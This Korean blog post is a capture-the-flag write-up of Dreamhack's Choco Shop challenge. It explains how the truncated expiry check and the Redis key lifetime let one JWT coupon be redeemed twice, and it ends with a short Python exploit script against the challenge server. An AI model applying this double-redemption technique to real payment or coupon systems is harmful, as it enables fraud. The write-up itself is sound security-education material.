Post

Choco Shop

Choco Shop

Dreamhack의 Choco Shop 문제이다.

계정당 하나씩 사용할 수 있는 1000원짜리 쿠폰을 이용해 2000원의 Flag를 구매해야하는데…

쿠폰을 발급 받으면 아래처럼 JWT 형식의 문자열이 나온다.

쿠폰을 발급받는 코드를 확인해보면

1
2
3
4
5
6
7
8
9
10
11
12
13
@app.route('/coupon/claim')
@get_session()
def coupon_claim(user):
    if user['coupon_claimed']:
        raise BadRequest('You already claimed the coupon!')

    coupon_uuid = uuid4().hex
    data = {'uuid': coupon_uuid, 'user': user['uuid'], 'amount': 1000, 'expiration': int(time()) + COUPON_EXPIRATION_DELTA}
    uuid = user['uuid']
    user['coupon_claimed'] = True
    coupon = jwt.encode(data, JWT_SECRET, algorithm='HS256').decode('utf-8')
    r.setex(f'SESSION:{uuid}', timedelta(minutes=10), dumps(user))
    return jsonify({'coupon': coupon})

user['coupon_claimed'] = True 로 설정되어 계정당 한번만 쿠폰을 발급 받을 수 있다.

이번엔 쿠폰을 등록하는 코드를 확인해보면

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
@app.route('/coupon/submit')
@get_session()
def coupon_submit(user):
    coupon = request.headers.get('coupon', None)
    if coupon is None:
        raise BadRequest('Missing Coupon')

    try:
        coupon = jwt.decode(coupon, JWT_SECRET, algorithms='HS256')
    except:
        raise BadRequest('Invalid coupon')

    if coupon['expiration'] < int(time()):
        raise BadRequest('Coupon expired!')

    rate_limit_key = f'RATELIMIT:{user["uuid"]}'
    if r.setnx(rate_limit_key, 1):
        r.expire(rate_limit_key, timedelta(seconds=RATE_LIMIT_DELTA))
    else:
        raise BadRequest(f"Rate limit reached!, You can submit the coupon once every {RATE_LIMIT_DELTA} seconds.")


    used_coupon = f'COUPON:{coupon["uuid"]}'
    if r.setnx(used_coupon, 1):
        # success, we don't need to keep it after expiration time
        if user['uuid'] != coupon['user']:
            raise Unauthorized('You cannot submit others\' coupon!')

        r.expire(used_coupon, timedelta(seconds=coupon['expiration'] - int(time())))
        user['money'] += coupon['amount']
        r.setex(f'SESSION:{user["uuid"]}', timedelta(minutes=10), dumps(user))
        return jsonify({'status': 'success'})
    else:
        # double claim, fail
        raise BadRequest('Your coupon is alredy submitted!')

다른 계정의 쿠폰은 등록할 수 없게 되어있다.

해당 문제는 쿠폰의 expiration의 시간차를 이용해 같은 쿠폰을 2번 등록할 수 있는 취약점을 이용해야한다.

처음 쿠폰을 발급 받을때 expiration은 int(time()) + COUPON_EXPIRATION_DELTA(45초)로 설정이된다.

쿠폰의 등록은 Redis에서 setnx를 통해 coupon의 uuid를 Key 값으로 등록하여 다음 등록시에 해당 coupon의 uuid가 key값으로 존재하는지 검사한다.

1
2
3
4
5
6
7
8
9
if r.setnx(used_coupon, 1):
        # success, we don't need to keep it after expiration time
        if user['uuid'] != coupon['user']:
            raise Unauthorized('You cannot submit others\' coupon!')

        r.expire(used_coupon, timedelta(seconds=coupon['expiration'] - int(time())))
        user['money'] += coupon['amount']
        r.setex(f'SESSION:{user["uuid"]}', timedelta(minutes=10), dumps(user))
        return jsonify({'status': 'success'})

등록 후 아래 코드를 통해 Coupon의 uuid Key값을 만료시킨다.

1
r.expire(used_coupon, timedelta(seconds=coupon['expriation'] - int(time()))

만료되는 시간을 보면 coupon의 expiration 시간으로 설정된 쿠폰 발급 당시의 시간 + 45초가 지나면 Redis에 등록된 Coupon uuid의 Key값은 삭제가된다.

쿠폰 등록 과정 중 쿠폰이 만료되었는지 검사하는 코드로 검사를 하지만 int 값으로 변환하기 때문에 소수점의 초는 짤리게된다.

1
2
if coupon['expiration'] < int(time()):
        raise BadRequest('Coupon expired!')

따라서 45.0초 ~ 46초 사이에 등록을 하게 되면 쿠폰의 만료 코드는 통과하고 Redis에서는 Coupon uuid Key값은 삭제가 되어있어 동일한 쿠폰으로 2번 등록할수있다.

해당 기능을하는 코드를 작성하여 플래그를 구입하여 문제를 풀면된다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
ex.py

import time
import requests

base_url = "http://host1.dreamhack.games:20630"
COUPON_EXPIRATION_DELTA = 45

#get session
r = requests.get(base_url+"/session")
res = r.json()
session = res['session']

#get coupon
headers = {'Authorization':session}
r = requests.get(base_url+"/coupon/claim",headers=headers)
res = r.json()
coupon = res['coupon']
print(coupon)

#submit coupon
headers = {'Authorization':session,'coupon':coupon}
r = requests.get(base_url+"/coupon/submit",headers=headers)
print(r.json())

time.sleep(COUPON_EXPIRATION_DELTA)

headers = {'Authorization':session,'coupon':coupon}
r = requests.get(base_url+"/coupon/submit",headers=headers)
print(r.json())

headers = {'Authorization':session}
r = requests.get(base_url+"/flag/claim",headers=headers)
res = r.json()
print(res)
This post is licensed under CC BY 4.0 by the author.